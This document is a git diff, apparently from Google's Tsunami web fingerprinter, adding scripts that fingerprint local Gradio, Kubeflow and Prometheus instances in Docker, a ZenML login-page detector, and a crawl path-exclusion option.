b/google/fingerprinters/web/scripts/updater/community/gradio/app/test_app.py new file mode 100644 index 000000000..1d44fd9bb --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/gradio/app/test_app.py @@ -0,0 +1,13 @@ +import gradio as gr + +def greet(name, intensity): + return "Hello, " + name + "!" * int(intensity) + +demo = gr.Interface( + fn=greet, + inputs=["text", "slider"], + outputs=["text"], +) + +if __name__ == "__main__": + demo.launch(server_name="0.0.0.0", server_port=8000) \ No newline at end of file diff --git a/google/fingerprinters/web/scripts/updater/community/gradio/update.sh b/google/fingerprinters/web/scripts/updater/community/gradio/update.sh new file mode 100755 index 000000000..c848d74b7 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/gradio/update.sh @@ -0,0 +1,90 @@ +#!/usr/bin/env bash + +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +set -e + +source ../../common.sh + +SCRIPT_PATH="$(cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P)" +# Root path to the web fingerprinter plugin. +PROJECT_ROOT="$(cd -- "${SCRIPT_PATH}/../../../.." >/dev/null 2>&1 ; pwd -P)" +# Path to the configurations for starting a live instance of Gradio. +GRADIO_APP_PATH="${SCRIPT_PATH}/app" +# Path to the temporary data holder. +TMP_DATA="/tmp/gradio_fingerprints" +# Path to the local git repository for Gradio codebase. +GIT_REPO="${TMP_DATA}/repo" +# Path to the directory of all the updated fingerprints data. +FINGERPRINTS_PATH="${TMP_DATA}/fingerprints" +# Json data of the final result. +JSON_DATA="${FINGERPRINTS_PATH}/fingerprint.json" +# Binary proto data of the final result. +BIN_DATA="${FINGERPRINTS_PATH}/fingerprint.binproto" +# Read all the versions to be fingerprinted. +readarray -t ALL_VERSIONS < "${SCRIPT_PATH}/versions.txt" +mkdir -p "${FINGERPRINTS_PATH}" + +startGradio() { + local version="$1" + pushd "${GRADIO_APP_PATH}" >/dev/null + GRADIO_VERSION="${version}" docker-compose up --build -d + popd >/dev/null +} + +stopGradio() { + local version="$1" + pushd "${GRADIO_APP_PATH}" >/dev/null + GRADIO_VERSION="${version}" docker-compose down --volumes --remove-orphans + popd >/dev/null +} + +# Convert the existing data file to a human-readable json file. +convertFingerprint \ + "${PROJECT_ROOT}/src/main/resources/fingerprinters/web/data/community/gradio.binproto" \ + "${JSON_DATA}" + +# Fetch Gradio codebase. +if [[ ! -d "${GIT_REPO}" ]] ; then + git clone https://github.com/gradio-app/gradio.git "${GIT_REPO}" +fi + +# Update for all the versions listed in versions.txt file. +for gradio_version in "${ALL_VERSIONS[@]}"; do + echo "Fingerprinting Gradio version ${gradio_version} ..." + # Start a live instance of Gradio. + startGradio "${gradio_version}" + # Arbitrarily chosen so that Gradio is up and running. + echo "Waiting for Gradio ${gradio_version} to be ready ..." + sleep 30 + + # Checkout the repository to the correct tag. + checkOutRepo "${GIT_REPO}" "gradio@${gradio_version}" + + updateFingerprint \ + "gradio" \ + "${gradio_version}" \ + "${FINGERPRINTS_PATH}" \ + "${GIT_REPO}/js/app/public/" \ + "http://localhost:8000" + + # Stop the live instance of Gradio. + stopGradio "${gradio_version}" +done + +convertFingerprint "${JSON_DATA}" "${BIN_DATA}" + +echo "Fingerprint updated for Gradio. Please commit the following file:" +echo " ${BIN_DATA}" diff --git a/google/fingerprinters/web/scripts/updater/community/gradio/versions.txt b/google/fingerprinters/web/scripts/updater/community/gradio/versions.txt new file mode 100644 index 000000000..8a28d3bcb --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/gradio/versions.txt @@ -0,0 +1,79 @@ +4.36.1 +4.36.0 +4.35.0 +4.33.0 +4.32.2 +4.32.1 +4.32.0 +4.31.5 +4.31.4 +4.31.3 +4.31.2 +4.31.1 +4.31.0 +4.29.0 +4.28.3 +4.28.2 +4.28.1 +4.28.0 +4.27.0 +4.26.0 +4.25.0 +4.24.0 +4.23.0 +4.22.0 +4.21.0 +4.20.1 +4.20.0 +4.19.2 +4.19.1 +4.19.0 +4.18.0 +4.17.0 +4.16.0 +4.15.0 +4.14.0 +4.13.0 +4.12.0 +4.11.0 +4.10.0 +4.9.1 +4.9.0 +4.8.0 +4.7.0 +4.5.0 +4.4.1 +4.4.0 +4.3.0 +4.2.0 +4.1.2 +4.1.1 +4.1.0 +4.0.2 +4.0.1 +4.0.0 +4.0.0-beta.15 +3.50.2 +3.50.1 +3.50.0 +3.49.0 +3.48.0 +3.47.1 +3.47.0 +3.46.1 +3.46.0 +3.45.2 +3.45.1 +3.45.0 +3.44.4 +3.44.3 +3.44.2 +3.44.1 +3.44.0 +3.43.2 +3.43.1 +3.43.0 +3.42.0 +3.41.2 +3.41.1 +3.41.0 \ No newline at end of file diff --git a/google/fingerprinters/web/scripts/updater/community/kubeflow/app/Dockerfile.kind b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/Dockerfile.kind new file mode 100644 index 000000000..ac28c213c --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/Dockerfile.kind @@ -0,0 +1,36 @@ +FROM alpine:3.8 + +RUN apk add --no-cache \ + bash \ + curl \ + docker \ + git \ + jq \ + openssl \ + shadow \ + vim \ + wget + +# Add Limited user +RUN groupadd -r kinduser \ + -g 777 && \ + useradd -c "kinduser runner account" \ + -g kinduser \ + -u 777 \ + -m \ + -r \ + kinduser && \ + usermod -aG docker kinduser + + +RUN curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.17.0/bin/linux/amd64/kubectl && \ + chmod +x ./kubectl && \ + mv ./kubectl /usr/local/bin/kubectl + +# Install Kubernetes in Docker (kind) +RUN curl -Lo ./kind https://github.com/kubernetes-sigs/kind/releases/download/v0.7.0/kind-linux-amd64 && \ + chmod +x ./kind && \ + mv ./kind /usr/local/bin/kind + +EXPOSE 58080 +WORKDIR /src diff --git a/google/fingerprinters/web/scripts/updater/community/kubeflow/app/app_startup.sh b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/app_startup.sh new file mode 100644 index 000000000..8aa6cf8e3 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/app_startup.sh @@ -0,0 +1,32 @@ +#!/bin/bash + +while [ ! -f /lockconfig/lock ]; do + echo "Waiting for the file to be created by cluster" + sleep 2 +done + +# Define the Gunicorn start command +GUNICORN_CMD="gunicorn -w 3 --bind 0.0.0.0:5000 --access-logfile - entrypoint:app" + +# Function to start Gunicorn +start_gunicorn() { + echo "Starting Gunicorn..." + $GUNICORN_CMD +} + +# Function to monitor and restart Gunicorn if it exits +monitor_gunicorn() { + while true; do + start_gunicorn + + # Wait for Gunicorn to exit + wait $! + + # Log the exit and attempt a restart + echo "Gunicorn exited. Restarting..." + sleep 1 # Optional sleep before restarting + done +} + +# Start monitoring Gunicorn +monitor_gunicorn diff --git a/google/fingerprinters/web/scripts/updater/community/kubeflow/app/docker-compose.yml b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/docker-compose.yml new file mode 100644 index 000000000..089f8e77b --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/docker-compose.yml @@ -0,0 +1,41 @@ +version: '3.7' + +services: + kind: + image: kind_cluster:latest + privileged: true + volumes: + - /var/run/docker.sock:/var/run/docker.sock + - kubeconfig:/root/.kube/ + - lockconfig:/lockconfig + - ./kind_startup.sh:/src/startup.sh + entrypoint: /bin/sh -c "chmod +x /src/startup.sh && /src/startup.sh" + healthcheck: + test: ["CMD", "test", "-f", "/lockconfig/lock"] + interval: 30s + timeout: 10s + retries: 20 + ports: + - "58080:58080" + environment: + - MODELS_WEB_APP_TAG=${MODELS_WEB_APP_TAG} + + kubeflow: + image: kubeflow-models-ui:${MODELS_WEB_APP_TAG} + depends_on: + - kind + ports: + - "8080:5000" + volumes: + - kubeconfig:/root/.kube/ + - lockconfig:/lockconfig + - ./app_startup.sh:/src/startup.sh + environment: + - APP_PREFIX=/ + - APP_DISABLE_AUTH=True + - APP_SECURE_COOKIES=False + + entrypoint: ["/bin/sh", "-c", "sleep 60 && chmod +x /src/startup.sh && /src/startup.sh"] +volumes: + kubeconfig: + lockconfig: diff --git a/google/fingerprinters/web/scripts/updater/community/kubeflow/app/kind_startup.sh b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/kind_startup.sh new file mode 100644 index 000000000..1eb52e7ef --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/kubeflow/app/kind_startup.sh @@ -0,0 +1,51 @@ +#!/bin/sh + +export DOCKER_GATEWAY_IP=$(docker network inspect bridge --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}') +export KUBE_PROXY_PORT=58080 +export KUBECTL_INSECURE_SKIP_TLS_VERIFY=true + + +kubectl_proxy_on() { + kubectl config set-cluster proxy-cluster --server="http://${DOCKER_GATEWAY_IP}:${KUBE_PROXY_PORT}" + kubectl config set-context proxy-context --cluster=proxy-cluster --user=$(kubectl config view -o jsonpath='{.contexts[?(@.name == "'"$(kubectl config current-context)"'")].context.user}') + kubectl config use-context proxy-context + echo "Switched to use kubectl proxy" +} + +start_kubernetes_cluster() { + #delete if exists + kind delete cluster --name my-cluster + + #create cluster +cat </dev/null 2>&1 ; pwd -P)" +PROJECT_ROOT="$(cd -- "${SCRIPT_PATH}/../../../.." >/dev/null 2>&1 ; pwd -P)" +APP_PATH="${SCRIPT_PATH}/app" +TMP_DATA="/tmp/kubeflow_fingerprints" +GIT_REPO="${TMP_DATA}/repo" +FINGERPRINTS_PATH="${TMP_DATA}/fingerprints" +JSON_DATA="${FINGERPRINTS_PATH}/fingerprint.json" +BIN_DATA="${FINGERPRINTS_PATH}/fingerprint.binproto" +BINPROTO="${PROJECT_ROOT}/src/main/resources/fingerprinters/web/data/community/kubeflow.binproto" + +mkdir -p "${FINGERPRINTS_PATH}" + + +removeCluster(){ + docker rmi -f kind_cluster:latest +} +buildCluster() { + pushd "${APP_PATH}" >/dev/null + docker build -t kind_cluster:latest -f Dockerfile.kind . + popd >/dev/null +} + +buildKubeFlowImage(){ + local version="$1" + pushd "${GIT_REPO}" >/dev/null + docker build -t kubeflow-models-ui:${version} -f Dockerfile . + popd >/dev/null +} + +removeKubeFlowImage(){ + local version="$1" + docker rmi -f kubeflow-models-ui:${version} +} + +startKubeflow(){ + local version="$1" + pushd "${APP_PATH}" >/dev/null + MODELS_WEB_APP_TAG="${version}" docker-compose up -d + popd >/dev/null +} + +stopContainer(){ + local name="$1" + + CONTAINER_ID=$(docker ps | grep "${name}" | cut -d " " -f1) + if [ -n "$KUBEFLOW_CONTAINER" ]; then + docker stop $CONTAINER_ID + fi + +} + +stopKubeFlow(){ + local version="$1" + pushd "${APP_PATH}" >/dev/null + MODELS_WEB_APP_TAG="${version}" docker-compose down + stopContainer "kindest/node" + stopContainer "kubeflow-models-ui:${version}" + stopContainer "kind_cluster" + + popd >/dev/null +} + +waitForServer() { + local url="http://localhost:8080" + local wait_time="${2:-5}" + + echo "Waiting for server at $url to be available..." + + while true; do + http_response=$(curl --write-out "%{http_code}" --silent --output /dev/null "$url" || echo "failed") + if [ "$http_response" -eq 200 ]; then + echo "Server is up and running at $url!" + break + elif [ "$http_response" = "failed" ]; then + echo "Curl command failed. Waiting for $wait_time seconds before retrying..." + else + echo "Server not yet available (HTTP status: $http_response). Waiting for $wait_time seconds..." + fi + sleep "$wait_time" + done +} + + +#Build kuberentes cluster +buildCluster + +# Convert existing data file to a human-readable JSON file +convertFingerprint "${BINPROTO}" "${JSON_DATA}" + +# Clone Kubeflow Models UI repository if not already present +if [[ ! -d "${GIT_REPO}" ]]; then + git clone https://github.com/kserve/models-web-app.git "${GIT_REPO}" +fi + + +# Read all versions to be fingerprinted +readarray -t ALL_VERSIONS < "${SCRIPT_PATH}/versions.txt" + +# Update fingerprints for all listed versions +for app_version in "${ALL_VERSIONS[@]}"; do + echo "Fingerprinting Kubeflow Models UI version ${app_version} ..." + + # Checkout the repository to the correct tag + checkOutRepo "${GIT_REPO}" "v${app_version}" + + # Build and run the container + buildKubeFlowImage "${app_version}" + + # Start the cluser and kubeflow + startKubeflow "${app_version}" + + echo "Waiting for Kubeflow ${app_version} to be ready ..." + sleep 60 + + # Wait for the container to be fully up + waitForServer + + echo "Application is up, updating fingerprint." + + # Capture the fingerprints + updateFingerprint \ + "kubeflow" \ + "${app_version}" \ + "${FINGERPRINTS_PATH}" \ + "${GIT_REPO}" \ + "http://localhost:8080" + + # Stop and remove the container + stopKubeFlow "${app_version}" + + removeKubeFlowImage "${app_version}" + +done + +removeCluster + +# Convert the updated JSON data to binary proto format +convertFingerprint "${JSON_DATA}" "${BIN_DATA}" + +echo "Fingerprint updated for Kubeflow Models UI. Please commit the following file:" +echo " ${BIN_DATA}" +echo "to" +echo " ${BINPROTO}" diff --git a/google/fingerprinters/web/scripts/updater/community/kubeflow/versions.txt b/google/fingerprinters/web/scripts/updater/community/kubeflow/versions.txt new file mode 100644 index 000000000..527d9f1bd --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/kubeflow/versions.txt @@ -0,0 +1,5 @@ +0.7.0 +0.8.0 +0.9.0 +0.10.0 +0.13.0-rc.0 diff --git a/google/fingerprinters/web/scripts/updater/community/prometheus/update.sh b/google/fingerprinters/web/scripts/updater/community/prometheus/update.sh new file mode 100755 index 000000000..02a756ba8 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/prometheus/update.sh @@ -0,0 +1,147 @@ +#!/usr/bin/env bash + +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# set -e + +source ../../common.sh + +SCRIPT_PATH="$(cd -- "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P)" +# Root path to the web fingerprinter plugin. +PROJECT_ROOT="$(cd -- "${SCRIPT_PATH}/../../../.." >/dev/null 2>&1 ; pwd -P)" +# App name +APP="prometheus" +# docker hub image name +DOCKER_IMAGE="prom/prometheus" +# GIT repository URL +GIT_URL="https://github.com/prometheus/prometheus" +# Path to the temporary data holder. +TMP_DATA="/tmp/${APP}_fingerprints" +# Path to the local git repository. +GIT_REPO="${TMP_DATA}/repo" +# Path to the directory of all the updated fingerprints data. +FINGERPRINTS_PATH="${TMP_DATA}/fingerprints" +# Json data of the final result. +JSON_DATA="${FINGERPRINTS_PATH}/fingerprint.json" +# Binary proto data of the final result. +BIN_DATA="${FINGERPRINTS_PATH}/fingerprint.binproto" +# Binary proto path to copy the final result. +BINPROTO="${PROJECT_ROOT}/src/main/resources/fingerprinters/web/data/community/${APP}.binproto" + +mkdir -p "${FINGERPRINTS_PATH}" + +updateFingerprint() { + local app_name="$1" + local app_version="$2" + local fingerprint_path="$3" + local git_repo="$4" + local remote_url="$5" + + local fingerprint_input="${fingerprint_path}/fingerprint.json" + local fingerprint_versioned_output="${fingerprint_path}/fingerprint.${app_version}.json" + + echo "Updating fingerprint ..." + args=( + --software-name="${app_name}" + --fingerprint-data-path="${fingerprint_input}" + --local-repo-path="${git_repo}" + --remote-url="${remote_url}" + --version="${app_version}" + --crawl-seed-path=/ + ) + + pushd "${PROJECT_ROOT}" >/dev/null || exit + echo ./gradlew :runFingerprintUpdater --args="${args[*]}" + ./gradlew :runFingerprintUpdater --args="${args[*]}" + popd >/dev/null || exit + + if grep -Fq "\"${app_version}\"" "${fingerprint_versioned_output}"; then + echo "Fingerprint updated successfully" + cp "${fingerprint_versioned_output}" "${fingerprint_input}" + else + echo "fingerprint updating failed" + exit 1 + fi +} + + +startApp() { + local version="$1" + # Start docker container + docker run --rm -d --name "${APP}_${version}" -p 9090:9090 "${DOCKER_IMAGE}:v${version}" || exit + + echo "Waiting for ${APP} ${version} to be ready ..." + + until [[ $(docker ps -q -f name="${APP}_${version}") ]] + do + echo -n "." + sleep 5 + done + +} + +stopApp() { + local version="$1" + docker stop "${APP}_${version}" || exit +} + +convertFingerprint "${BINPROTO}" "${JSON_DATA}" + +# Fetch codebase +if [[ ! -d "${GIT_REPO}" ]] ; then + git clone "${GIT_URL}" "${GIT_REPO}" +fi + +cd "${GIT_REPO}" || exit + +# Read all the versions to be fingerprinted. +readarray -t ALL_VERSIONS < "${SCRIPT_PATH}/versions.txt" + +# Update for all the versions listed in versions.txt file. +for app_version in "${ALL_VERSIONS[@]}"; do + + echo "Fingerprinting ${APP} version ${app_version} ..." + + # Starting app + startApp "${app_version}" + + # Checkout the repository to the correct tag. + checkOutRepo "${GIT_REPO}" "v${app_version}" + cd "${GIT_REPO}" || exit + + # Download buildinfo information to repo directory + mkdir -p api/v1/status/ + curl http://localhost:9090/api/v1/status/buildinfo -o api/v1/status/buildinfo + + updateFingerprint \ + "${APP}" \ + "${app_version}" \ + "${FINGERPRINTS_PATH}" \ + "${GIT_REPO}" \ + "http://localhost:9090" + + # Stop the live instance of application. + stopApp "${app_version}" + + rm -rf api + +done + +convertFingerprint "${JSON_DATA}" "${BIN_DATA}" + +echo "Fingerprint updated for ${APP}. Please commit the following file:" +echo " ${BIN_DATA}" +echo "to" +echo " ${BINPROTO}" diff --git a/google/fingerprinters/web/scripts/updater/community/prometheus/versions.txt b/google/fingerprinters/web/scripts/updater/community/prometheus/versions.txt new file mode 100644 index 000000000..00579ad78 --- /dev/null +++ b/google/fingerprinters/web/scripts/updater/community/prometheus/versions.txt @@ -0,0 +1,136 @@ +2.43.0 +2.42.0 +2.41.0 +2.40.7 +2.40.6 +2.40.5 +2.40.4 +2.40.3 +2.40.2 +2.40.1 +2.40.0 +2.39.2 +2.39.1 +2.39.0 +2.38.0 +2.37.5 +2.37.4 +2.37.3 +2.37.2 +2.37.1 +2.37.0 +2.36.2 +2.36.1 +2.36.0 +2.35.0 +2.34.0 +2.33.5 +2.33.4 +2.33.3 +2.33.2 +2.33.1 +2.33.0 +2.32.1 +2.32.0 +2.31.2 +2.31.1 +2.31.0 +2.30.4 +2.30.3 +2.30.2 +2.30.1 +2.30.0 +2.29.2 +2.29.1 +2.29.0 +2.28.1 +2.28.0 +2.27.1 +2.27.0 +2.26.1 +2.26.0 +2.25.2 +2.25.1 +2.25.0 +2.24.1 +2.24.0 +2.23.0 +2.22.2 +2.22.1 +2.22.0 +2.21.0 +2.20.1 +2.20.0 +2.19.3 +2.19.2 +2.19.1 +2.19.0 +2.18.2 +2.18.1 +2.18.0 +2.17.2 +2.17.1 +2.17.0 +2.16.0 +2.15.2 +2.15.1 +2.15.0 +2.14.0 +2.13.1 +2.13.0 +2.12.0 +2.11.2 +2.11.1 +2.11.0 +2.10.0 +2.9.2 +2.9.1 +2.9.0 +2.8.1 +2.8.0 +2.7.2 +2.7.1 +2.7.0 +2.6.1 +2.6.0 +2.5.0 +2.4.3 +2.4.2 +2.4.1 +2.4.0 +2.3.2 +2.3.1 +2.3.0 +2.2.1 +2.2.0 +2.1.0 +2.0.0 +1.8.2 +1.8.1 +1.8.0 +1.7.2 +1.7.1 +1.7.0 +1.6.3 +1.6.2 +1.6.1 +1.6.0 +1.5.3 +1.5.2 +1.5.1 +1.5.0 +1.4.1 +1.4.0 +1.3.1 +1.3.0 +1.2.3 +1.2.2 +1.2.1 +1.2.0 +1.1.3 +1.1.2 +1.1.1 +1.1.0 +1.0.2 +1.0.1 +1.0.0 \ No newline at end of file diff --git a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java index 835fe8f88..b713d30d3 100644 --- a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java +++ b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinter.java @@ -19,20 +19,22 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import static com.google.common.collect.ImmutableSet.toImmutableSet; import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.common.net.http.HttpRequest.post; import static java.util.stream.Collectors.joining; import com.google.common.collect.ImmutableMap; import com.google.common.collect.ImmutableSet; import com.google.common.flogger.GoogleLogger; -import com.google.tsunami.common.data.NetworkEndpointUtils; +import com.google.protobuf.ByteString; import com.google.tsunami.common.data.NetworkServiceUtils; import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; import com.google.tsunami.common.net.http.HttpResponse; import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.ServiceFingerprinter; import com.google.tsunami.plugin.annotations.ForWebService; import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.ServiceFingerprinter; import com.google.tsunami.plugins.fingerprinters.web.crawl.Crawler; import com.google.tsunami.plugins.fingerprinters.web.crawl.ScopeUtils; import com.google.tsunami.plugins.fingerprinters.web.data.FingerprintData; @@ -277,6 +279,7 @@ private ImmutableSet detectSoftwareByCustomHeuristics( HashSet detectedSoftware = new HashSet<>(); checkForMlflow(detectedSoftware, networkService, startingUrl); + checkForZenMl(detectedSoftware, networkService, startingUrl); return ImmutableSet.copyOf(detectedSoftware); } @@ -287,8 +290,7 @@ private void checkForMlflow( // We want to test weak credentials against mlflow versions above 2.5 which has basic // authentication module.these versions return a 401 status code and a link to documentation // about how to authenticate. - var uriAuthority = NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint()); - var pingApiUrl = String.format("http://%s/%s", uriAuthority, "ping"); + var pingApiUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "ping"; try { HttpResponse apiPingResponse = httpClient.send(get(pingApiUrl).withEmptyHeaders().build()); @@ -316,4 +318,58 @@ private void checkForMlflow( logger.atWarning().withCause(e).log("Unable to query '%s'.", pingApiUrl); } } + + private void checkForZenMl( + Set software, NetworkService networkService, String startingUrl) { + logger.atInfo().log("probing ZenMl login page and login api - custom fingerprint phase"); + + // we double-check both the api and login page + var loginApiUrl = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "api/v1/login"; + try { + // test login api with a random username and password and for sure not exist + HttpResponse apiLoginResponse = + httpClient.send( + post(loginApiUrl) + .setHeaders( + HttpHeaders.builder() + .addHeader("Content-Type", "application/x-www-form-urlencoded") + .build()) + .setRequestBody( + ByteString.copyFromUtf8( + "username=aHkPdMlQoWjRtBnX&password=aHkPdMlQoWjRtBnX")) + .build()); + + if (!(apiLoginResponse.status() == HttpStatus.UNAUTHORIZED + && apiLoginResponse.bodyString().isPresent() + && apiLoginResponse + .bodyString() + .get() + .equals( + "{\"detail\":[\"AuthorizationException\"," + + "\"Authentication error: invalid username or password\"]}"))) { + return; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", loginApiUrl); + return; + } + + var loginUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "login"; + try { + HttpResponse loginPageResponse = httpClient.send(get(loginUrl).withEmptyHeaders().build()); + if (!(loginPageResponse.bodyString().isPresent() + && loginPageResponse.bodyString().get().contains("ZenML Dashboard"))) { + return; + } + software.add( + DetectedSoftware.builder() + .setSoftwareIdentity(SoftwareIdentity.newBuilder().setSoftware("zenml").build()) + .setRootPath(startingUrl) + .setContentHashes(ImmutableMap.of()) + .build()); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", loginUrl); + } + } } diff --git a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigs.java b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigs.java index cd431fee8..ce76612e5 100644 --- a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigs.java +++ b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/WebServiceFingerprinterConfigs.java @@ -33,8 +33,10 @@ public final class WebServiceFingerprinterConfigs { private static final ImmutableList DEFAULT_FILE_EXTENSION_EXCLUSIONS = ImmutableList.of("application/zip", "application/gzip"); - private final WebServiceFingerprinterCliOptions cliOptions; - private final WebServiceFingerprinterConfigProperties configProperties; + private static final ImmutableList DEFAULT_PATH_EXCLUSIONS = ImmutableList.of(); + + final WebServiceFingerprinterCliOptions cliOptions; + final WebServiceFingerprinterConfigProperties configProperties; @Inject WebServiceFingerprinterConfigs( @@ -95,8 +97,19 @@ public List getContentTypeExclusions() { } } + public List getPathExclusions() { + if (cliOptions.pathExclusions != null) { + return cliOptions.pathExclusions; + } else if (configProperties.pathExclusions != null) { + return configProperties.pathExclusions; + } else { + return DEFAULT_PATH_EXCLUSIONS; + } + } + + /** CLI options for {@link WebServiceFingerprinter}. */ @Parameters(separators = "=") - static final class WebServiceFingerprinterCliOptions implements CliOption { + public static final class WebServiceFingerprinterCliOptions implements CliOption { @Parameter( names = "--web-service-fingerprinter-enforce-crawling-scope-check", @@ -148,12 +161,18 @@ static final class WebServiceFingerprinterCliOptions implements CliOption { + "purpose.") List contentTypeExclusions; + @Parameter( + names = "--web-service-fingerprinter-crawl-path-exclusions", + description = "A comma separated list of path regexes to exclude during crawling.") + List pathExclusions; + @Override public void validate() {} } + /** Config properties for {@link WebServiceFingerprinter}. */ @ConfigProperties("plugins.google.fingerprinter.web") - static final class WebServiceFingerprinterConfigProperties { + public static final class WebServiceFingerprinterConfigProperties { /** * Configuration options for the {@code @@ -186,5 +205,11 @@ static final class WebServiceFingerprinterConfigProperties { * CLI flag's description for more details. */ List contentTypeExclusions; + + /** + * Configuration option for the @code --web-service-fingerprinter-crawl-path-exclusions} CLI + * flag. See the CLI flag's description for more details. + */ + List pathExclusions; } } diff --git a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtils.java b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtils.java index 9e5c12838..20c5029d8 100644 --- a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtils.java +++ b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/CrawlConfigUtils.java @@ -19,6 +19,8 @@ import com.google.tsunami.proto.CrawlConfig; import com.google.tsunami.proto.CrawlTarget; +import java.util.List; +import java.util.regex.Pattern; /** Static utility methods pertaining to {@link CrawlConfig} proto buffer. */ final class CrawlConfigUtils { @@ -41,4 +43,13 @@ static boolean isCrawlTargetInScope(CrawlConfig crawlConfig, CrawlTarget crawlTa return !crawlConfig.getShouldEnforceScopeCheck() || crawlConfig.getScopesList().stream() .anyMatch(scope -> ScopeUtils.isInScope(scope, crawlTarget.getUrl())); } + + static boolean isCrawlTargetInBlockList(CrawlTarget crawlTarget, List pathExclusions) { + for (String regex : pathExclusions) { + if (Pattern.compile(regex).matcher(crawlTarget.getUrl()).find()) { + return true; + } + } + return false; + } } diff --git a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlAction.java b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlAction.java index b4546a744..5c087d8a3 100644 --- a/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlAction.java +++ b/google/fingerprinters/web/src/main/java/com/google/tsunami/plugins/fingerprinters/web/crawl/SimpleCrawlAction.java @@ -28,6 +28,7 @@ import com.google.tsunami.common.net.http.HttpMethod; import com.google.tsunami.common.net.http.HttpRequest; import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.plugins.fingerprinters.web.WebServiceFingerprinterConfigs; import com.google.tsunami.proto.CrawlConfig; import com.google.tsunami.proto.CrawlResult; import com.google.tsunami.proto.CrawlTarget; @@ -62,18 +63,21 @@ final class SimpleCrawlAction extends RecursiveAction { private final CrawlConfig crawlConfig; private final CrawlTarget crawlTarget; private final SimpleCrawlerResults crawlerResults; + private final WebServiceFingerprinterConfigs configs; SimpleCrawlAction( int currentDepth, HttpClient httpClient, CrawlConfig crawlConfig, CrawlTarget crawlTarget, - SimpleCrawlerResults crawlerResults) { + SimpleCrawlerResults crawlerResults, + WebServiceFingerprinterConfigs configs) { this.currentDepth = currentDepth; this.httpClient = checkNotNull(httpClient); this.crawlConfig = checkNotNull(crawlConfig); this.crawlTarget = checkNotNull(crawlTarget); this.crawlerResults = checkNotNull(crawlerResults); + this.configs = checkNotNull(configs); } String getTargetUrl() { @@ -153,6 +157,10 @@ private void spawnNewCrawlActions(HttpResponse httpResponse) { .map(crawlTarget -> normalizeHost(crawlConfig, crawlTarget)) // Ignore out-of-scope URLs. .filter(crawlTarget -> CrawlConfigUtils.isCrawlTargetInScope(crawlConfig, crawlTarget)) + .filter( + crawlTarget -> + !CrawlConfigUtils.isCrawlTargetInBlockList( + crawlTarget, configs.getPathExclusions())) .map(this::newCrawlAction) .collect(toImmutableSet()); invokeAll(newCrawlActions); @@ -166,6 +174,6 @@ private static boolean isValidCrawlTarget(CrawlTarget crawlTarget) { private SimpleCrawlAction 